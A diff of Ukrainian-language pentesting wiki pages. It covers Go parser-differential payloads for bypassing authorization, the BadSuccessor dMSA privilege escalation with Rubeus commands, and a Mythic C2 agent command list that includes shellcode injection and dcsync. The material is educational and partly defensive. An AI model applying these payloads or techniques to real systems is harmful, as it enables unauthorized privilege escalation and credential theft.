|
||||
```
|
||||
### Content-Security-Policy недоліки
|
||||
Повна збірка Vue потребує `unsafe-eval`; перейдіть на збірку runtime або попередньо скомпільовані шаблони, щоб ви могли відмовитися від цього небезпечного джерела.
|
||||
### Content-Security-Policy pitfalls
|
||||
Повна збірка Vue потребує `unsafe-eval`; перейдіть на збірку часу виконання або попередньо скомпільовані шаблони, щоб ви могли відмовитися від цього небезпечного джерела.
|
||||
```http
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self';
|
||||
```
|
||||
@ -113,7 +113,7 @@ npm ci --ignore-scripts # safer install
|
||||
## Hardening Checklist
|
||||
|
||||
1. **Санітизуйте** кожен рядок перед тим, як він потрапить у `v-html` (DOMPurify).
|
||||
2. **Дозвольте** лише певні схеми, атрибути, компоненти та події.
|
||||
2. **Дозвольте** лише дозволені схеми, атрибути, компоненти та події.
|
||||
3. **Уникайте `eval`** та динамічних шаблонів взагалі.
|
||||
4. **Оновлюйте залежності щотижня** та слідкуйте за рекомендаціями.
|
||||
5. **Відправляйте сильні HTTP заголовки** (CSP, HSTS, XFO, CSRF).
|
||||
|
@ -47,4 +47,4 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
|
||||
```
|
||||
|
||||
```
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
@ -0,0 +1,128 @@
|
||||
# JSON, XML & Yaml Hacking & Issues
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Go JSON Decoder
|
||||
|
||||
Наступні проблеми були виявлені в Go JSON, хоча вони можуть бути присутніми і в інших мовах. Ці проблеми були опубліковані в [**цьому блозі**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||||
|
||||
JSON, XML та YAML парсери Go мають довгий список несумісностей та небезпечних за замовчуванням налаштувань, які можуть бути використані для **обходу аутентифікації**, **ескалації привілеїв** або **екстракції чутливих даних**.
|
||||
|
||||
### (Un)Marshaling Unexpected Data
|
||||
|
||||
Мета полягає в тому, щоб експлуатувати структури, які дозволяють зловмиснику читати/записувати чутливі поля (наприклад, `IsAdmin`, `Password`).
|
||||
|
||||
- Приклад структури:
|
||||
```go
|
||||
type User struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
- Загальні вразливості
|
||||
|
||||
1. **Відсутній тег** (немає тегу = поле все ще обробляється за замовчуванням):
|
||||
```go
|
||||
type User struct {
|
||||
Username string
|
||||
}
|
||||
```
|
||||
Пейлоад:
|
||||
```json
|
||||
{"Username": "admin"}
|
||||
```
|
||||
2. **Неправильне використання `-`**:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||||
}
|
||||
```
|
||||
Пейлоад:
|
||||
```json
|
||||
{"-": true}
|
||||
```
|
||||
✔️ Правильний спосіб заблокувати поле від (де)маршалінгу:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
### Parser Differentials
|
||||
|
||||
Мета полягає в обході авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же payload, як у:
|
||||
- CVE-2017-12635: обходження Apache CouchDB через дублікати ключів
|
||||
- 2022: Zoom 0-click RCE через непослідовність XML парсера
|
||||
- GitLab 2025 обходження SAML через особливості XML
|
||||
|
||||
**1. Дублікати полів:**
|
||||
Go's `encoding/json` бере **останнє** поле.
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||||
fmt.Println(req.Action) // AdminAction
|
||||
```
|
||||
Інші парсери (наприклад, Jackson від Java) можуть взяти **перший**.
|
||||
|
||||
**2. Нечутливість до регістру:**
|
||||
Go нечутливий до регістру:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||||
// matches `Action` field
|
||||
```
|
||||
Навіть трюки з Unicode працюють:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
```
|
||||
**3. Невідповідність між сервісами:**
|
||||
Уявіть:
|
||||
- Проксі, написаний на Go
|
||||
- Служба AuthZ, написана на Python
|
||||
|
||||
Зловмисник надсилає:
|
||||
```json
|
||||
{
|
||||
"action": "UserAction",
|
||||
"AcTiOn": "AdminAction"
|
||||
}
|
||||
```
|
||||
- Python бачить `UserAction`, дозволяє його
|
||||
- Go бачить `AdminAction`, виконує його
|
||||
|
||||
|
||||
### Плутанина формату даних (Поліглоти)
|
||||
|
||||
Мета полягає в експлуатації систем, які змішують формати (JSON/XML/YAML) або не закриваються при помилках парсера, такі як:
|
||||
- **CVE-2020-16250**: HashiCorp Vault розпарсив JSON за допомогою XML парсера після того, як STS повернув JSON замість XML.
|
||||
|
||||
Зловмисник контролює:
|
||||
- Заголовок `Accept: application/json`
|
||||
- Частковий контроль над тілом JSON
|
||||
|
||||
XML парсер Go розпарсив його **все одно** і довіряв ін'єкованій ідентичності.
|
||||
|
||||
- Сформований payload:
|
||||
```json
|
||||
{
|
||||
"action": "Action_1",
|
||||
"AcTiOn": "Action_2",
|
||||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||||
}
|
||||
```
|
||||
Результат:
|
||||
- **Go JSON** парсер: `Action_2` (нечутливий до регістру + останній виграє)
|
||||
- **YAML** парсер: `Action_1` (чутливий до регістру)
|
||||
- **XML** парсер: парсить `"Action_3"` всередині рядка
|
||||
|
||||
|
||||
### 🔐 Заходи пом'якшення
|
||||
|
||||
| Ризик | Виправлення |
|
||||
|-----------------------------|---------------------------------------|
|
||||
| Невідомі поля | `decoder.DisallowUnknownFields()` |
|
||||
| Дублікати полів (JSON) | ❌ Немає виправлення в stdlib |
|
||||
| Нечутливе співпадіння | ❌ Немає виправлення в stdlib |
|
||||
| XML сміттєві дані | ❌ Немає виправлення в stdlib |
|
||||
| YAML: невідомі ключі | `yaml.KnownFields(true)` |
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Атаки з впровадженням помилок включають введення зовнішніх перешкод в електронні схеми для впливу на їх поведінку, що призводить до розкриття інформації або навіть обходу певних обмежень у схемі. Ці атаки відкривають багато можливостей для атак на електронні схеми. Цю атаку також називають глічингом електронних схем.
|
||||
Атаки з впровадженням помилок включають введення зовнішніх перешкод в електронні схеми для впливу на їхню поведінку, що призводить до розкриття інформації або навіть обходу певних обмежень у схемі. Ці атаки відкривають багато можливостей для атак на електронні схеми. Цю атаку також називають глічингом електронних схем.
|
||||
|
||||
Існує багато методів і засобів для впровадження помилок в електронну схему.
|
||||
|
||||
|
@ -12,16 +12,16 @@
|
||||
|
||||
* Побудований на основі технології **gMSA**, але зберігається як новий клас AD **`msDS‑DelegatedManagedServiceAccount`**.
|
||||
* Підтримує **міграцію за запитом**: виклик `Start‑ADServiceAccountMigration` зв'язує dMSA зі застарілим обліковим записом, надає застарілому обліковому запису права на запис до `msDS‑GroupMSAMembership` і переключає `msDS‑DelegatedMSAState` = 1.
|
||||
* Після `Complete‑ADServiceAccountMigration` застарілий обліковий запис відключається, і dMSA стає повністю функціональним; будь-який хост, який раніше використовував застарілий обліковий запис, автоматично отримує дозвіл на отримання пароля dMSA.
|
||||
* Після `Complete‑ADServiceAccountMigration` застарілий обліковий запис відключається, і dMSA стає повністю функціональним; будь-який хост, який раніше використовував застарілий обліковий запис, автоматично отримує право на отримання пароля dMSA.
|
||||
* Під час аутентифікації KDC вбудовує підказку **KERB‑SUPERSEDED‑BY‑USER**, щоб клієнти Windows 11/24H2 прозоро повторно намагалися з dMSA.
|
||||
|
||||
## Вимоги для атаки
|
||||
1. **Принаймні один Windows Server 2025 DC**, щоб клас LDAP dMSA та логіка KDC існували.
|
||||
2. **Будь-які права на створення об'єктів або запис атрибутів на OU** (будь-який OU) – наприклад, `Create msDS‑DelegatedManagedServiceAccount` або просто **Create All Child Objects**. Akamai виявив, що 91 % реальних орендарів надають такі "безпечні" дозволи OU не адміністраторам.
|
||||
2. **Будь-які права на створення об'єктів або запис атрибутів на OU** (будь-який OU) – наприклад, `Create msDS‑DelegatedManagedServiceAccount` або просто **Create All Child Objects**. Akamai виявив, що 91% реальних орендарів надають такі "безпечні" дозволи OU не адміністраторам.
|
||||
3. Можливість запускати інструменти (PowerShell/Rubeus) з будь-якого хоста, приєднаного до домену, для запиту квитків Kerberos.
|
||||
*Не потрібно контролювати жертву; атака ніколи безпосередньо не торкається цільового облікового запису.*
|
||||
|
||||
## Покроково: BadSuccessor*підвищення привілеїв
|
||||
## Покроково: BadSuccessor*ескалація привілеїв
|
||||
|
||||
1. **Знайдіть або створіть dMSA, яким ви керуєте**
|
||||
```bash
|
||||
@ -50,9 +50,9 @@ Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /ops
|
||||
|
||||
Під час легітимних міграцій KDC повинен дозволити новому dMSA розшифровувати **квитки, видані старому обліковому запису до переходу**. Щоб уникнути порушення активних сесій, він поміщає як поточні, так і попередні ключі в новий ASN.1 об'єкт, званий **`KERB‑DMSA‑KEY‑PACKAGE`**.
|
||||
|
||||
Оскільки наша фальшива міграція стверджує, що dMSA "наступає" на жертву, KDC добросовісно копіює RC4-HMAC ключ жертви в список **попередніх ключів** – навіть якщо dMSA ніколи не мав "попереднього" пароля. Цей RC4 ключ не має солі, тому він фактично є NT хешем жертви, надаючи зловмиснику **можливість офлайн-ламання або "pass-the-hash"**.
|
||||
Оскільки наша фальшива міграція стверджує, що dMSA "наступає" на жертву, KDC добросовісно копіює RC4-HMAC ключ жертви в список **попередніх ключів** – навіть якщо dMSA ніколи не мав "попереднього" пароля. Цей ключ RC4 не має солі, тому фактично є NT хешем жертви, надаючи зловмиснику **можливість офлайн-ламання або "pass-the-hash"**.
|
||||
|
||||
Отже, масове зв'язування тисяч користувачів дозволяє зловмиснику скинути хеші "в масштабах", перетворюючи **BadSuccessor на як підвищення привілеїв, так і на примітив компрометації облікових даних**.
|
||||
Отже, масове зв'язування тисяч користувачів дозволяє зловмиснику скинути хеші "в масштабах", перетворюючи **BadSuccessor на як ескалацію привілеїв, так і на примітив компрометації облікових даних**.
|
||||
|
||||
## Інструменти
|
||||
|
||||
@ -64,4 +64,5 @@ Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /ops
|
||||
|
||||
- [https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# Mythic
|
||||
# Mythic
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке Mythic?
|
||||
|
||||
Mythic - це модульна, з відкритим вихідним кодом система командного управління (C2), розроблена для червоних команд. Вона дозволяє фахівцям з безпеки керувати та розгортати різні агенти (payloads) на різних операційних системах, включаючи Windows, Linux та macOS. Mythic надає зручний веб-інтерфейс для управління агентами, виконання команд та збору результатів, що робить його потужним інструментом для моделювання реальних атак у контрольованому середовищі.
|
||||
Mythic - це відкритий, модульний фреймворк командного управління (C2), призначений для червоних команд. Він дозволяє фахівцям з безпеки керувати та розгортати різні агенти (payloads) на різних операційних системах, включаючи Windows, Linux та macOS. Mythic надає зручний веб-інтерфейс для управління агентами, виконання команд та збору результатів, що робить його потужним інструментом для моделювання реальних атак у контрольованому середовищі.
|
||||
|
||||
### Встановлення
|
||||
|
||||
@ -10,9 +12,9 @@ Mythic - це модульна, з відкритим вихідним кодо
|
||||
|
||||
### Агенти
|
||||
|
||||
Mythic підтримує кілька агентів, які є **payloads, що виконують завдання на скомпрометованих системах**. Кожен агент може бути налаштований під специфічні потреби та може працювати на різних операційних системах.
|
||||
Mythic підтримує кілька агентів, які є **payloads, що виконують завдання на скомпрометованих системах**. Кожен агент може бути налаштований відповідно до конкретних потреб і може працювати на різних операційних системах.
|
||||
|
||||
За замовчуванням Mythic не має жодного агента, встановленого. Однак він пропонує кілька відкритих агентів на [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
|
||||
За замовчуванням Mythic не має жодного агента, встановленого. Однак він пропонує кілька відкритих агентів у [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
|
||||
|
||||
Щоб встановити агента з цього репозиторію, вам просто потрібно виконати:
|
||||
```bash
|
||||
@ -67,7 +69,7 @@ Apollo - це агент Windows, написаний на C# з використ
|
||||
- `ppid`: Змінити батьківський процес для пост-експлуатаційних завдань, вказавши новий ідентифікатор батьківського процесу, що дозволяє краще контролювати контекст виконання завдань
|
||||
- `printspoofer`: Виконати команди PrintSpoofer для обходу заходів безпеки спулера друку, що дозволяє підвищити привілеї або виконати код
|
||||
- `dcsync`: Синхронізувати ключі Kerberos користувача з локальним комп'ютером, що дозволяє офлайн-ламати паролі або проводити подальші атаки
|
||||
- `ticket_cache_add`: Додати квиток Kerberos до поточної сесії входу або вказаної, що дозволяє повторне використання квитка або видачу себе за іншого користувача
|
||||
- `ticket_cache_add`: Додати квиток Kerberos до поточної сесії входу або вказаної, що дозволяє повторно використовувати квиток або видавати себе за когось іншого
|
||||
|
||||
### Виконання процесів
|
||||
|
||||
@ -75,7 +77,7 @@ Apollo - це агент Windows, написаний на C# з використ
|
||||
- `execute_assembly`: Виконує збірку .NET в контексті агента
|
||||
- `execute_coff`: Виконує COFF файл в пам'яті, що дозволяє виконувати скомпільований код в пам'яті
|
||||
- `execute_pe`: Виконує unmanaged виконуваний файл (PE)
|
||||
- `inline_assembly`: Виконує збірку .NET в одноразовому AppDomain, що дозволяє тимчасове виконання коду без впливу на основний процес агента
|
||||
- `inline_assembly`: Виконує збірку .NET в одноразовому AppDomain, що дозволяє тимчасово виконувати код без впливу на основний процес агента
|
||||
- `run`: Виконує двійковий файл на цільовій системі, використовуючи PATH системи для знаходження виконуваного файлу
|
||||
- `shinject`: Вводить shellcode в віддалений процес, що дозволяє виконувати довільний код в пам'яті
|
||||
- `inject`: Вводить shellcode агента в віддалений процес, що дозволяє виконувати код агента в пам'яті
|
||||
@ -122,10 +124,9 @@ Apollo - це агент Windows, написаний на C# з використ
|
||||
- `help`: Відображає детальну інформацію про конкретні команди або загальну інформацію про всі доступні команди в агенті.
|
||||
- `clear`: Позначає завдання як 'очищені', щоб їх не могли взяти агенти. Ви можете вказати `all`, щоб очистити всі завдання, або `task Num`, щоб очистити конкретне завдання.
|
||||
|
||||
|
||||
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
|
||||
|
||||
Poseidon - це агент на Golang, який компілюється в **Linux та macOS** виконувані файли.
|
||||
Poseidon - це агент Golang, який компілюється в **Linux та macOS** виконувані файли.
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
|
||||
```
|
||||
@ -152,8 +153,8 @@ Poseidon - це агент на Golang, який компілюється в **L
|
||||
|
||||
- `ssh`: SSH до хоста, використовуючи призначені облікові дані, і відкрити PTY без запуску ssh.
|
||||
- `sshauth`: SSH до вказаних хостів, використовуючи призначені облікові дані. Ви також можете використовувати це для виконання конкретної команди на віддалених хостах через SSH або використовувати це для SCP файлів.
|
||||
- `link_tcp`: Зв'язати з іншим агентом через TCP, що дозволяє безпосередню комунікацію між агентами.
|
||||
- `link_webshell`: Зв'язати з агентом, використовуючи профіль webshell P2P, що дозволяє віддалений доступ до веб-інтерфейсу агента.
|
||||
- `link_tcp`: Зв'язатися з іншим агентом через TCP, що дозволяє безпосередню комунікацію між агентами.
|
||||
- `link_webshell`: Зв'язатися з агентом, використовуючи профіль webshell P2P, що дозволяє віддалений доступ до веб-інтерфейсу агента.
|
||||
- `rpfwd`: Запустити або зупинити зворотне перенаправлення порту, що дозволяє віддалений доступ до служб на цільовій мережі.
|
||||
- `socks`: Запустити або зупинити SOCKS5 проксі на цільовій мережі, що дозволяє тунелювання трафіку через скомпрометований хост. Сумісний з такими інструментами, як proxychains.
|
||||
- `portscan`: Сканувати хости на наявність відкритих портів, корисно для виявлення потенційних цілей для бічного руху або подальших атак.
|
||||
@ -163,3 +164,6 @@ Poseidon - це агент на Golang, який компілюється в **L
|
||||
- `shell`: Виконати одну команду оболонки через /bin/sh, що дозволяє безпосереднє виконання команд на цільовій системі.
|
||||
- `run`: Виконати команду з диска з аргументами, що дозволяє виконання бінарних файлів або скриптів на цільовій системі.
|
||||
- `pty`: Відкрити інтерактивний PTY, що дозволяє безпосередню взаємодію з оболонкою на цільовій системі.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user